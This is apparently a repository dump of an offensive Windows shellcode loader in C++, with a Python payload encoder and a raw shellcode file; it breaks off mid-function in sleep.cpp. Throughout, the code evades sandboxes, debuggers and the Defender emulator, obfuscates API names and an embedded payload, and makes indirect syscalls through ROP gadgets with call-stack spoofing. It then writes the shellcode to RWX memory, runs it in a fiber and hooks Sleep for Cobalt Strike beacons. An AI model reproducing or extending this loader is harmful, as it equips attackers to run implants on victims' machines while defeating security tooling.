DUMMYSTRUCTNAME; } DUMMYUNIONNAME3; ULONG Cookie; ULONG CookiePad[1]; LONGLONG ConsoleSessionForegroundProcessId; ULONGLONG TimeUpdateLock; ULONGLONG BaselineSystemTimeQpc; ULONGLONG BaselineInterruptTimeQpc; ULONGLONG QpcSystemTimeIncrement; ULONGLONG QpcInterruptTimeIncrement; UCHAR QpcSystemTimeIncrementShift; UCHAR QpcInterruptTimeIncrementShift; USHORT UnparkedProcessorCount; ULONG EnclaveFeatureMask[4]; ULONG TelemetryCoverageRound; USHORT UserModeGlobalLogger[16]; ULONG ImageFileExecutionOptions; ULONG LangGenerationCount; ULONGLONG Reserved4; ULONGLONG InterruptTimeBias; ULONGLONG QpcBias; ULONG ActiveProcessorCount; UCHAR ActiveGroupCount; UCHAR Reserved9; union { USHORT QpcData; struct { UCHAR QpcBypassEnabled; UCHAR QpcReserved; }; }; LARGE_INTEGER TimeZoneBiasEffectiveStart; LARGE_INTEGER TimeZoneBiasEffectiveEnd; XSTATE_CONFIGURATION XState; KSYSTEM_TIME FeatureConfigurationChangeStamp; ULONG Spare; ULONG64 UserPointerAuthMask; XSTATE_CONFIGURATION XStateArm64; ULONG Reserved10[210]; } KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; #endif ================================================ FILE: headers/syscalls.h ================================================ #pragma once #ifndef SYSCALLS_H #define SYSCALLS_H EXTERN_C DWORD dwSSN; EXTERN_C PVOID qwJMP; EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...); NTAPI_FUNCTION CallMe(); extern PBYTE hNtdll; extern NTSTATUS status; // Super reliable way to find the base address of a given module PBYTE FindModuleBase(const CHAR* moduleName); // Resolve System Service Number (SSN), Address, and Offset for a System Call Name SyscallEntry SSNLookup(PCHAR syscall); // Collect all instances of a given ROP gadget in a given module std::vector CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule); // Choose a random gadget PVOID GoGoGadget(std::vector gadgets); // Checks the bytes immediately before each gadget VOID CheckGadgetPreBytes(const std::vector& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize); #endif ================================================ FILE: main.cpp ================================================ /* * Credits * * MDSec - Resolving System Service Numbers using the Exception Directory * https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/ * * cpu0x00 - Ghost: Evasive shellcode loader * https://github.com/cpu0x00/Ghost * * susMdT - LoudSunRun: Stack Spoofing with Synthetic frames based on the work of namazso, SilentMoonWalk, and VulcanRaven * https://github.com/susMdT/LoudSunRun * * HulkOperator - x64 Call Stack Spoofing * https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing * https://github.com/HulkOperator/CallStackSpoofer * * Jan Vojtesek - Raspberry Robin's Roshtyak: A Little Lesson in Trickery * https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/ * * dadevel - Detecting Sandboxes Without Syscalls * https://pentest.party/posts/2024/detecting-sandboxes-without-syscalls/ */ #include EXTERN_C DWORD dwSSN = 0; EXTERN_C PVOID qwJMP = 0; EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...); NTAPI_FUNCTION CallMe(); PBYTE hNtdll = FindModuleBase("ntdll.dll"); PBYTE hKernel32 = FindModuleBase("KERNEL32.DLL"); BYTE callR12sig[] = { 0x41, 0xFF, 0xD4 }; std::vector callR12gadgets = CollectGadgets(callR12sig, sizeof(callR12sig), hNtdll); PVOID gadget = nullptr; NTSTATUS status = STATUS_UNSUCCESSFUL; CHAR NtCE[] = "ZwCreateEvent"; CHAR NtWFSO[] = "ZwWaitForSingleObject"; SyscallEntry NtCreateEvent = SSNLookup(NtCE); SyscallEntry sysNtWaitForSingleObject = SSNLookup(NtWFSO); // NtWaitForSingleObject is predefined in winternl.h LPVOID mainFiber = nullptr; LPVOID shellcodeFiber = nullptr; // Function to deobfuscate ASCII-encoded strings std::unique_ptr unASCIIme(const int* asciiValues, size_t length) { auto decoded = std::make_unique(length + 1); for (size_t i = 0; i < length; ++i) decoded[i] = static_cast(asciiValues[i]); decoded[length] = '\0'; // Null-terminate the string return decoded; } VOID RunMe() { const PKUSER_SHARED_DATA ksd = (PKUSER_SHARED_DATA)KUSER_SHARED_DATA_ADDRESS; // Check if Secure Boot is enabled if (!ksd->DbgSecureBootEnabled) __fastfail(0xc00000022); // Exit process if Secure Boot is disabled // Check for number of processors if (ksd->ActiveProcessorCount <= 4) __fastfail(0xc00000022); // Exit process if 4 or less active processors constexpr uint32_t TICKS_PER_SECOND = 10'000'000; LARGE_INTEGER time1; time1.LowPart = ksd->InterruptTime.LowPart; time1.HighPart = ksd->InterruptTime.High2Time; //if ((time1.QuadPart / TICKS_PER_SECOND / 60 / 60) < 1) __fastfail(0xc00000022); // Exit process if uptime is less than 1 hour //if (ksd->BootId < 100) __fastfail(0xc00000022); // Exit process if boot count is less than 100 // Check for KdDebuggerEnabled if (ksd->KdDebuggerEnabled) __fastfail(0xc00000022); // Exit process if true // Simple check for VDLLs / Defender emulator if (GetProcAddress((HMODULE)hNtdll, "MpVmp32Entry")) __fastfail(0xc00000022); // Exit process if VDLL import is successful // Another check for debugger const int aZwQIP[] = { 90, 119, 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 80, 114, 111, 99, 101, 115, 115 }; std::unique_ptr ZwQIP = unASCIIme(aZwQIP, (sizeof(aZwQIP) / sizeof(aZwQIP[0]))); const PCHAR NtQIP = ZwQIP.get(); SyscallEntry NtQueryInformationProcess = SSNLookup(NtQIP); dwSSN = NtQueryInformationProcess.SSN; qwJMP = NtQueryInformationProcess.Syscall; gadget = GoGoGadget(callR12gadgets); PVOID debugFlags = nullptr; if (NT_SUCCESS((NTSTATUS)CallR12( (PVOID)CallMe, 4, gadget, NtCurrentProcess(), (PROCESSINFOCLASS)31, // ProcessDebugFlags &debugFlags, sizeof(debugFlags), NULL )) && debugFlags) __fastfail(0xC0000409); // Exit process if debugger is detected // Shellcode deobfuscation and preparation PVOID cHzWuUOLpKshEZso = EncodePointer((PVOID)0x4831c94881e9d4ff); PVOID qzmcczftlrofpMBK = EncodePointer((PVOID)0xffff488d05efffff); PVOID BnFPxxUTdHzXfBou = EncodePointer((PVOID)0xff48bb44f6a40b5f); PVOID XXNMyWIolkZnxquw = EncodePointer((PVOID)0x895d7f4831582748); PVOID MaFIrEQDZFRfWRTY = EncodePointer((PVOID)0x2df8ffffffe2f4b8); PVOID RdUZgSEaEksHKBzw = EncodePointer((PVOID)0xbe27efaf619d7f44); PVOID BqaqZEeAEPNHxCHA = EncodePointer((PVOID)0xf6e55a1ed90f2e12); PVOID pEfFdhEqFdQpoqch = EncodePointer((PVOID)0xbe95d93ac1d62d24); PVOID WOLbfAoYkcEkuDYg = EncodePointer((PVOID)0xbe2f5947c1d62d64); PVOID uwiZKXhkheFneKTM = EncodePointer((PVOID)0xbe2f790fc152c80e); PVOID FMlGRbqbLHPhGOeo = EncodePointer((PVOID)0xbce93a96c16cbfe8); PVOID yXPdbUEcVExPHxIj = EncodePointer((PVOID)0xcac5775da57d3e85); PVOID MZGgjmoAILVGCTyd = EncodePointer((PVOID)0x3fa94a5e48bf9216); PVOID GurEATzzcVZVIzYS = EncodePointer((PVOID)0xb7f543d4db7df406); PVOID hNplZltYVPpESpst = EncodePointer((PVOID)0xcaec0a8f02ddf744); PVOID xCgWVknCyvRsVUHZ = EncodePointer((PVOID)0xf6a443da4929180c); PVOID umughcydaJUtAhrt = EncodePointer((PVOID)0xf7745bd4c1453bcf); PVOID RqCqvWaIneDObANK = EncodePointer((PVOID)0xb684425e59be290c); PVOID axOWFjDeHhmDuStA = EncodePointer((PVOID)0x096d4ad4bdd53745); PVOID PzyVUWkmkIQWwsAh = EncodePointer((PVOID)0x20e93a96c16cbfe8); PVOID UKaEuxbaMHcFVHRE = EncodePointer((PVOID)0xb765c252c85cbe7c); PVOID GPBJMzmxizdGDxbs = EncodePointer((PVOID)0x16d1fa138a115b4c); PVOID aEUbBqlVLqLgCpmm = EncodePointer((PVOID)0xb39dda2a51053bcf); PVOID HKzolWqSFHEaxocQ = EncodePointer((PVOID)0xb680425e593b3ecf); PVOID rGrpgUSTDCGnRSxX = EncodePointer((PVOID)0xfaec4fd4c9413645); PVOID UkiKuEWPihQsBZed = EncodePointer((PVOID)0x26e5805b01157e94); PVOID UtRdjVdGKiLgoqiz = EncodePointer((PVOID)0xb7fc4a07d7042505); PVOID jmRaVonpGRiCdgiL = EncodePointer((PVOID)0xaee5521ed315fca8); PVOID pTGvgohiOFOLvctP = EncodePointer((PVOID)0xd6e559a069053e1d); PVOID jjMvRmnTSOFJsHUQ = EncodePointer((PVOID)0xacec804d600a80bb); PVOID ecThXoPqvgeoPdTY = EncodePointer((PVOID)0x09f943e5885d7f44); PVOID KqVeBhXZWhqorIlQ = EncodePointer((PVOID)0xf6a40b5fc1d0f245); PVOID rUrHyjHgczZsKdEw = EncodePointer((PVOID)0xf7a40b1e336cf42b); PVOID BHscujBmZqkyPcao = EncodePointer((PVOID)0x715bdee479e8dd12); PVOID nbtyRzIjuCLOzHPX = EncodePointer((PVOID)0xb71eadca34c08091); PVOID oaAwYlpVCipgbUeo = EncodePointer((PVOID)0xbe27cf77b55b034e); PVOID RfLfmiVPuCbBjmaj = EncodePointer((PVOID)0x765feb2a8ce63857); PVOID eFSJSYqBtDEtyjXg = EncodePointer((PVOID)0x84cb615fd01cf69e); PVOID beyiUDTcLMuJgbDM = EncodePointer((PVOID)0x09716e27f9311036); PVOID yaLBwyEBzokIYAHF = EncodePointer((PVOID)0x93d6253af1385f66); PVOID qowPmWxYQjBdZNYP = EncodePointer((PVOID)0x9ed07f2ffa67506b); PVOID GNvPOEZbSgXPdGal = EncodePointer((PVOID)0x9fc5326fbd6b4f7d); PVOID bzxbcOVbSveYzfeO = EncodePointer((PVOID)0xd8d17871e82f1c2c); PVOID LcYaLRXtmsZogKlT = EncodePointer((PVOID)0x9fd26e71e62f186b); PVOID gIKApmGFAWwPmQgq = EncodePointer((PVOID)0xc28b622bec300c6b); PVOID XQGRystfEcTjlPuc = EncodePointer((PVOID)0x84cd6834a42f1028); PVOID mQGOcpeQBbPvvUfc = EncodePointer((PVOID)0x9a8b5936ea365a76); PVOID EEezIaJMrCWOAPsU = EncodePointer((PVOID)0xc6f66433e5731625); PVOID QRiWTvDaBIzcspUq = EncodePointer((PVOID)0xd8c97b6bab5d7f90); std::vector encodedSegments = { cHzWuUOLpKshEZso, qzmcczftlrofpMBK, BnFPxxUTdHzXfBou, XXNMyWIolkZnxquw, MaFIrEQDZFRfWRTY, RdUZgSEaEksHKBzw, BqaqZEeAEPNHxCHA, pEfFdhEqFdQpoqch, WOLbfAoYkcEkuDYg, uwiZKXhkheFneKTM, FMlGRbqbLHPhGOeo, yXPdbUEcVExPHxIj, MZGgjmoAILVGCTyd, GurEATzzcVZVIzYS, hNplZltYVPpESpst, xCgWVknCyvRsVUHZ, umughcydaJUtAhrt, RqCqvWaIneDObANK, axOWFjDeHhmDuStA, PzyVUWkmkIQWwsAh, UKaEuxbaMHcFVHRE, GPBJMzmxizdGDxbs, aEUbBqlVLqLgCpmm, HKzolWqSFHEaxocQ, rGrpgUSTDCGnRSxX, UkiKuEWPihQsBZed, UtRdjVdGKiLgoqiz, jmRaVonpGRiCdgiL, pTGvgohiOFOLvctP, jjMvRmnTSOFJsHUQ, ecThXoPqvgeoPdTY, KqVeBhXZWhqorIlQ, rUrHyjHgczZsKdEw, BHscujBmZqkyPcao, nbtyRzIjuCLOzHPX, oaAwYlpVCipgbUeo, RfLfmiVPuCbBjmaj, eFSJSYqBtDEtyjXg, beyiUDTcLMuJgbDM, yaLBwyEBzokIYAHF, qowPmWxYQjBdZNYP, GNvPOEZbSgXPdGal, bzxbcOVbSveYzfeO, LcYaLRXtmsZogKlT, gIKApmGFAWwPmQgq, XQGRystfEcTjlPuc, mQGOcpeQBbPvvUfc, EEezIaJMrCWOAPsU, QRiWTvDaBIzcspUq, }; // Predefine expected shellcode size and pre-allocate space alignas(8) std::vector shellcode; //shellcode.reserve(968); shellcode.reserve(392); // Decode and reconstruct each segment for (auto encodedSegment : encodedSegments) { UINT_PTR decodedSegment = reinterpret_cast(DecodePointer(encodedSegment)); // Extract each byte and place it in the shellcode buffer shellcode.push_back((decodedSegment >> 56) & 0xFF); shellcode.push_back((decodedSegment >> 48) & 0xFF); shellcode.push_back((decodedSegment >> 40) & 0xFF); shellcode.push_back((decodedSegment >> 32) & 0xFF); shellcode.push_back((decodedSegment >> 24) & 0xFF); shellcode.push_back((decodedSegment >> 16) & 0xFF); shellcode.push_back((decodedSegment >> 8) & 0xFF); shellcode.push_back(decodedSegment & 0xFF); } const int aZwAVM[] = { 90, 119, 65, 108, 108, 111, 99, 97, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwAllocateVirtualMemory std::unique_ptr ZwAVM = unASCIIme(aZwAVM, (sizeof(aZwAVM) / sizeof(aZwAVM[0]))); const PCHAR NtAVM = ZwAVM.get(); SyscallEntry NtAllocateVirtualMemory = SSNLookup(NtAVM); dwSSN = NtAllocateVirtualMemory.SSN; qwJMP = NtAllocateVirtualMemory.Syscall; gadget = GoGoGadget(callR12gadgets); PVOID baseAddress = nullptr; SIZE_T regionSize = shellcode.size(); status = (NTSTATUS)CallR12( (PVOID)CallMe, 6, gadget, NtCurrentProcess(), &baseAddress, (ULONGLONG)0, ®ionSize, (ULONGLONG)(MEM_COMMIT | MEM_RESERVE), (ULONGLONG)(PAGE_EXECUTE_READWRITE) ); const int aZwWVM[] = { 90, 119, 87, 114, 105, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwWriteVirtualMemory std::unique_ptr ZwWVM = unASCIIme(aZwWVM, (sizeof(aZwWVM) / sizeof(aZwWVM[0]))); const PCHAR NtWVM = ZwWVM.get(); SyscallEntry NtWriteVirtualMemory = SSNLookup(NtWVM); dwSSN = NtWriteVirtualMemory.SSN; qwJMP = NtWriteVirtualMemory.Syscall; gadget = GoGoGadget(callR12gadgets); SIZE_T bytesWritten = 0; status = (NTSTATUS)CallR12( (PVOID)CallMe, 5, gadget, NtCurrentProcess(), baseAddress, shellcode.data(), (ULONGLONG)shellcode.size(), &bytesWritten ); // Create a callable "function" from the allocated space void (*shellcodeFunc)() = (void(*)())baseAddress; // Hook Sleep and SleepEx for CS beacons ReSleep(); gadget = GoGoGadget(callR12gadgets); mainFiber = (LPVOID)CallR12((PVOID)ConvertThreadToFiber, 1, gadget, nullptr); gadget = GoGoGadget(callR12gadgets); shellcodeFiber = (LPVOID)CallR12((PVOID)CreateFiber, 3, gadget, NULL, (LPFIBER_START_ROUTINE)shellcodeFunc, NULL); while (true) { gadget = GoGoGadget(callR12gadgets); CallR12((PVOID)SwitchToFiber, 1, gadget, shellcodeFiber); } } INT WINAPI CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { if (FiveHourEnergy()) __fastfail(0x31337); RunMe(); return 0; } /* int main() { BYTE sig[] = { 0xff, 0x27 }; std::vector gadgets = CollectGadgets(sig, 2, hNtdll); CheckGadgetPreBytes(gadgets, 2, 8); } */ ================================================ FILE: scripts/encoder.py ================================================ import re import random import string import argparse def generate_random_name(): return ''.join(random.choices(string.ascii_letters, k=16)) def parse_shellcode(file_path): with open(file_path, "r") as f: data = f.read() # Extract hex bytes from shellcode definition matches = re.findall(r'\\x([0-9a-fA-F]{2})', data) shellcode = ''.join(matches) return shellcode def format_shellcode(shellcode): segments = [shellcode[i:i+16] for i in range(0, len(shellcode), 16)] formatted_lines = [] var_names = [] total_size = 0 for segment in segments: while len(segment) < 16: segment += "90" # Pad with NOPs if not a full 8-byte segment total_size += len(segment) // 2 # Convert hex length to byte count var_name = generate_random_name() var_names.append(var_name) formatted_lines.append(f"PVOID {var_name} = EncodePointer((PVOID)0x{segment});") return formatted_lines, var_names, total_size def main(): parser = argparse.ArgumentParser(description="Parse and format shellcode from an input file.") parser.add_argument("input_file", help="Path to the input shellcode file") args = parser.parse_args() shellcode = parse_shellcode(args.input_file) formatted_shellcode, var_names, total_size = format_shellcode(shellcode) print(f"Total shellcode size (including padding): {total_size} bytes") for line in formatted_shellcode: print(line) print("\nstd::vector encodedSegments = {") print(" " + ", ".join(var_names) + ",") print("};") if __name__ == "__main__": main() ================================================ FILE: scripts/shellcode.txt ================================================ buf = b"" buf += b"\x48\x31\xc9\x48\x81\xe9\x8c\xff\xff\xff\x48\x8d" buf += b"\x05\xef\xff\xff\xff\x48\xbb\xae\xe2\x1e\xc0\xb3" buf += b"\x25\x75\x6d\x48\x31\x58\x27\x48\x2d\xf8\xff\xff" buf += b"\xff\xe2\xf4\x52\xaa\x9d\x24\x43\xcd\xbd\x6d\xae" buf += b"\xe2\x5f\x91\xf2\x75\x27\x3c\xf8\xaa\x2f\x12\xd6" buf += b"\x6d\xfe\x3f\xce\xaa\x95\x92\xab\x6d\xfe\x3f\x8e" buf += b"\xaa\x95\xb2\xe3\x6d\x7a\xda\xe4\xa8\x53\xf1\x7a" buf += b"\x6d\x44\xad\x02\xde\x7f\xbc\xb1\x09\x55\x2c\x6f" buf += b"\x2b\x13\x81\xb2\xe4\x97\x80\xfc\xa3\x4f\x88\x38" buf += b"\x77\x55\xe6\xec\xde\x56\xc1\x63\x43\xf4\x15\xb6" buf += b"\xe9\x1c\xb5\xc1\xae\xf5\xe5\xae\xe2\x1e\x88\x36" buf += b"\xe5\x01\x0a\xe6\xe3\xce\x90\x38\x6d\x6d\x29\x25" buf += b"\xa2\x3e\x89\xb2\xf5\x96\x3b\xe6\x1d\xd7\x81\x38" buf += b"\x11\xfd\x25\xaf\x34\x53\xf1\x7a\x6d\x44\xad\x02" buf += b"\xa3\xdf\x09\xbe\x64\x74\xac\x96\x02\x6b\x31\xff" buf += b"\x26\x39\x49\xa6\xa7\x27\x11\xc6\xfd\x2d\x29\x25" buf += b"\xa2\x3a\x89\xb2\xf5\x13\x2c\x25\xee\x56\x84\x38" buf += b"\x65\x69\x24\xaf\x32\x5f\x4b\xb7\xad\x3d\x6c\x7e" buf += b"\xa3\x46\x81\xeb\x7b\x2c\x37\xef\xba\x5f\x99\xf2" buf += b"\x7f\x3d\xee\x42\xc2\x5f\x92\x4c\xc5\x2d\x2c\xf7" buf += b"\xb8\x56\x4b\xa1\xcc\x3a\x92\x51\x1d\x43\xaa\xb3" buf += b"\x6c\xcb\x1a\xc7\x8c\x77\xae\xd6\x51\x75\x2c\xf8" buf += b"\xab\x97\x26\xff\xac\x84\x2c\x14\xae\x69\xe6\xb4" buf += b"\xda\xa0\x25\x9f\x2b\x56\xf1\x61\x68\x44\xad\xe3" buf += b"\xd3\xd7\x81\xe3\x64\x25\x2c\x14\xd8\x48\xb9\x14" buf += b"\xda\xa0\x84\x3d\xe2\x1e\xc0\xe9\x6d\xfc\xac\xef" buf += b"\x5a\xa5\xc1\xb3\x25\x38\x5c\x67\xa3\x4f\x81\xe2" buf += b"\x4f\x76\x2c\xff\xa3\xa4\x97\x3a\xba\xb3\x92\x7b" buf += b"\x09\x67\x9b\xfb\xac\xb4\x25\x9f\x30\x57\x49\x6b" buf += b"\x68\x44\xa4\xfc\x8a\x1e\xf2\x73\xa1\x27\x3f\xef" buf += b"\x58\xf5\x95\x9d\x1e\x8a\xb8\xe6\x6b\xd8\x88\x30" buf += b"\xe6\x25\x07\xa4\xbd\x56\x49\x42\x9f\x6a\x6d\xae" buf += b"\xe2\x74\xc0\xdb\xa5\x46\x6d\xae\xab\x97\x20\xf2" buf += b"\x9c\x71\x6d\xae\xe2\x5f\x7a\xc6\x63\xeb\xeb\x51" buf += b"\x37\x56\x49\x42\x6d\xfc\xb7\xe7\x25\xde\x3f\x4c" buf += b"\xda\x8a\x20\x9f\x2b\x4c\x92\xf2\x9f\x58\x6b\xb6" buf += b"\x99\xe1\x15\x36\xe5\x7a\xe8\x33\xe3\x1e\xc0\xfb" buf += b"\xda\xba\x62\x2a\x6e\x1f\xc0\xb3\xce\xc6\x84\x4a" buf += b"\xe3\x1e\xc0\x5b\xa7\x8a\x92\x51\xcd\x4c\xa6\xff" buf += b"\x7c\x75\x8a\xd8\x75\x21\xa0\x81\x51\x8b\xc6\x19" buf += b"\x2e\xdf\x62\xef\xea\x47\x6f\xe0\xdf\x2f\xd4\x28" buf += b"\x4b\x06\x4e\x57\x83\x13\x4b\x94\x03\xcf\x3c\xb4" buf += b"\xeb\x56\xc4\x07\xab\xc7\xe1\x38\xc8\x9c\x92\xee" buf += b"\xd7\xe9\xfa\x29\xb5\x87\x1f\x83\x51\x98\x4a\x22" buf += b"\x90\x2d\xdd\x7a\xf1\x7a\xe9\x48\xd1\x43\xb2\x34" buf += b"\x1f\xcc\xb4\xae\xb7\x6d\xa5\xc1\x08\x34\x0a\xcb" buf += b"\x8c\x6a\xfa\x93\x68\x1a\x17\xc7\x8e\x72\xa1\x9c" buf += b"\x10\x5b\x5d\x8e\xca\x7d\xaf\xde\x55\x14\x19\xc7" buf += b"\x80\x72\xa5\x88\x05\x38\x3e\xe7\xa7\x3e\xf9\x9d" buf += b"\x15\x4e\x4d\xf9\x8b\x70\xa4\xdc\x52\x06\x4d\xe0" buf += b"\xb6\x3e\xf6\x9d\x14\x4e\x4d\xf9\x8b\x70\xf6\x87" buf += b"\x1e\x55\x15\x98\xd6\x25\xe0\xe7\x57\x1c\x09\xcb" buf += b"\x8c\x6a\xef\x86\x0b\x45\x56\x8e\xa3\x68\xa1\xdd" buf += b"\x51\x55\x2f\xdc\x8d\x69\xb3\xd6\x57\x5c\x60\xa4" buf += b"\xe2\x70\x7c\x0a\x34\x7d\x59\x8e\xbe\xaa\xb1\x91" buf += b"\xb6\xde\x02\x12\x30\xb9\x6d\x74\xf6\x65\x1d\xe0" buf += b"\x77\x65\x56\xe2\x9d\x8d\x81\xb6\x32\xf6\x0c\x2b" buf += b"\x1f\x47\x26\x7f\xbc\x79\x2f\x1d\x2a\x48\x0c\xf2" buf += b"\x3e\xdf\x49\x54\x04\xd6\xad\x6c\x7d\x93\x39\x55" buf += b"\xb1\x0b\xda\x58\x58\x48\x50\xa8\x4d\xea\xf6\xfe" buf += b"\x4f\x0a\x85\x7c\x24\xde\xb3\x6d\x73\x13\xa0\xca" buf += b"\x27\x32\x4d\x49\x83\xf5\x87\x27\x81\x70\xbb\x40" buf += b"\x96\x14\x3e\xcc\xab\xbb\xf0\xee\xc6\x47\x05\x4a" buf += b"\xa7\xf0\x3f\xa8\x12\x1d\xbb\x31\x50\xca\x4c\x8d" buf += b"\xc3\xd5\x58\x3a\x9a\x1a\xee\x3e\xd1\xf4\x27\x10" buf += b"\x41\x6e\x2b\x4f\xfe\x2e\x32\xac\x67\xfe\x2c\x6c" buf += b"\x07\xa6\x6d\x36\xcc\x84\x63\xaf\x81\x62\x04\xc9" buf += b"\xcf\x60\x8d\x7d\xdf\x0c\x7c\x48\x75\x04\x01\xfa" buf += b"\x64\x40\x56\x4f\x52\xf1\x4b\x61\xf7\xc6\xdd\x47" buf += b"\x13\xcb\x25\xf8\x43\x96\xe7\xc4\x65\xf3\x80\x01" buf += b"\x5a\xb4\x6f\xb9\x9b\x11\xb6\xae\xa3\xa0\x30\x06" buf += b"\x87\x23\x92\x7b\xaa\x2f\x09\x09\x25\x75\x2d\xae" buf += b"\xa3\xa6\xc0\xa3\x25\x75\x2c\x17\xa2\x1e\xc0\xb3" buf += b"\x64\xcf\x35\x0a\xb1\xfb\x3f\x66\x6d\xe6\x3e\xfd" buf += b"\xaa\x97\x27\xfb\xac\x84\x25\x27\x38\x5f\x78\xb3" buf += b"\x05\x75\x6d\xe7\x6b\xe7\x81\x09\x37\xe3\xe4\x4c" buf += b"\x1d\xcb\x88\x30\xe1\x55\xe8\x6e\x96\xa8\xa6\x38" buf += b"\x22\x3d\x6c\x6d\x67\xde\xb5\x64\x7d\x2d\x35\xe6" buf += b"\xe7\x1e\xc0\xb3\x25\x25\xae\x46\x9d\xe3\x3f\x4c" buf += b"\x14\x45\x43\x9a\xd0\x30\xf4\x81\x0b\x40\x6d\x94" buf += b"\x3c\x76\x71\xb3\x25\x75\x6d" ================================================ FILE: sleep.cpp ================================================ #include // Used to store original bytes from Sleep/SleepEx uint8_t originalSleepBytes[12] = { 0 }; uint8_t originalSleepExBytes[12] = { 0 }; // Create some simple compile-time polymorphism class compileme { private: static constexpr unsigned int fnv1a_hash(const char* str, unsigned int hash = 2166136261U) { return (*str ? fnv1a_hash(str + 1, (hash ^ *str) * 16777619U) : hash); } static constexpr unsigned int mix_entropy(unsigned int base) { return (base ^ 0x5A5A5A5A) * 2654435761U; } static constexpr unsigned int compileTimeRNG() { return mix_entropy(fnv1a_hash(__TIME__) ^ fnv1a_hash(__DATE__) ^ fnv1a_hash(__FILE__) ^ fnv1a_hash(__TIMESTAMP__) ^ (__COUNTER__ * 37)); } const unsigned int randomValue; public: constexpr compileme() : randomValue(compileTimeRNG()) {} // Constructor initializes the random value at compile-time constexpr unsigned int GetMagicNumber() const { return randomValue; } }; // Generate a random sleep duration between 5-10 sec constexpr unsigned int GenerateSleepTime() { constexpr compileme rng; return (rng.GetMagicNumber() % 5000) + 5000; } // Check if process sleeptime is being fastforwarded BOOL FiveHourEnergy() { LARGE_INTEGER frequency, startTime, endTime; DWORD tickStart, tickEnd; constexpr DWORD sleepTimeMs = GenerateSleepTime(); constexpr double thresholdFactor = 0.7; // Assume some margin for error // Capture initial timestamps QueryPerformanceFrequency(&frequency); QueryPerformanceCounter(&startTime); tickStart = GetTickCount64(); Sleep(sleepTimeMs); // Capture final timestamps QueryPerformanceCounter(&endTime); tickEnd = GetTickCount64(); // Calculate elapsed time in milliseconds double elapsedHighResMs = (double)(endTime.QuadPart - startTime.QuadPart) * 1000.0 / frequency.QuadPart; DWORD elapsedTickMs = tickEnd - tickStart; // Check if elapsed time is much shorter than expected. Returns TRUE if time was fastforwarded. return (elapsedHighResMs < sleepTimeMs * thresholdFactor || elapsedTickMs < sleepTimeMs * thresholdFactor); } // Centralized function for modifying memory protection VOID ModifyMemoryProtection(LPVOID address, DWORD newProtect, DWORD* oldProtect) { SIZE_T regionSize = sizeof(LPVOID); CHAR ZwPVM[] = "ZwProtectVirtualMemory"; SyscallEntry NtProtectVirtualMemory = SSNLookup(ZwPVM); dwSSN = NtProtectVirtualMemory.SSN; qwJMP = NtProtectVirtualMemory.Syscall; gadget = GoGoGadget(callR12gadgets); status = (NTSTATUS)CallR12( (PVOID)CallMe, 5, gadget, NtCurrentProcess(), &address, ®ionSize, newProtect, oldProtect ); if (!NT_SUCCESS(status)) printf("NtProtectVirtualMemory 0x%08X\n", status); } // Apply a trampoline hook to a given function VOID HookFunction(PVOID FunctionToHook, PVOID RedirectionFunction, uint8_t* originalBytes) { uint8_t trampolineHook[] = { 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, 0x41, 0xFF, 0xE2 // jmp r10 }; uint64_t hookAddress = (uint64_t)RedirectionFunction; gadget = GoGoGadget(callR12gadgets); CallR12( (PVOID)memcpy, 3, gadget, &trampolineHook[2], &hookAddress, sizeof(hookAddress) ); // Store original bytes before modifying the function gadget = GoGoGadget(callR12gadgets); CallR12( (PVOID)memcpy, 3, gadget, (PVOID)originalBytes, FunctionToHook, sizeof(trampolineHook) ); DWORD oldProtect = 0; SIZE_T regionSize = sizeof(trampolineHook); PVOID baseAddress = FunctionToHook; ModifyMemoryProtection(baseAddress, PAGE_READWRITE, &oldProtect); gadget = GoGoGadget(callR12gadgets); CallR12( (PVOID)memcpy, 3, gadget, FunctionToHook, trampolineHook, sizeof(trampolineHook) ); ModifyMemoryProtection(baseAddress, oldProtect, &oldProtect); return; } // Restore original bytes to (unhook) function VOID RestoreOriginalBytes(PVOID FunctionToHook, uint8_t* originalBytes, SIZE_T size) { DWORD oldProtect; ModifyMemoryProtection(FunctionToHook, PAGE_READWRITE, &oldProtect); gadget = GoGoGadget(callR12gadgets); CallR12( (PVOID)memcpy, 3, gadget, FunctionToHook, originalBytes, size ); ModifyMemoryProtection(FunctionToHook, oldProtect, &oldProtect); return; } // Sleeping without calling Sleep() VOID ImNotSleepingIPromise(DWORD dwMilliseconds) { // Set up call stack spoof PVOID ReturnAddress = NULL; PRM p = { 0 }; BYTE sig[] = { 0xFF, 0x23 }; // jmp qword ptr [rbx] std::vector gadgets = CollectGadgets(sig, 3, (PBYTE)hNtdll); gadget = GoGoGadget(gadgets); p.trampoline = gadget; p.Gadget_ss = (PVOID)(ULONGLONG)CalculateStackSize(p.trampoline); // windows 11 seems to have different offset values //ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, "BaseThreadInitThunk") + 0x14; ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, "BaseThreadInitThunk") + 0x17; p.BTIT_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress); p.BTIT_retaddr = ReturnAddress; //ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, "RtlUserThreadStart") + 0x21; ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, "RtlUserThreadStart") + 0x2c; p.RUTS_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress); p.RUTS_retaddr = ReturnAddress; LARGE_INTEGER DelayInterval = { 0 }; LONGLONG Delay = NULL; HANDLE hEvent = NULL; dwSSN = NtCreateEvent.SSN; qwJMP = NtCreateEvent.Syscall; gadget = 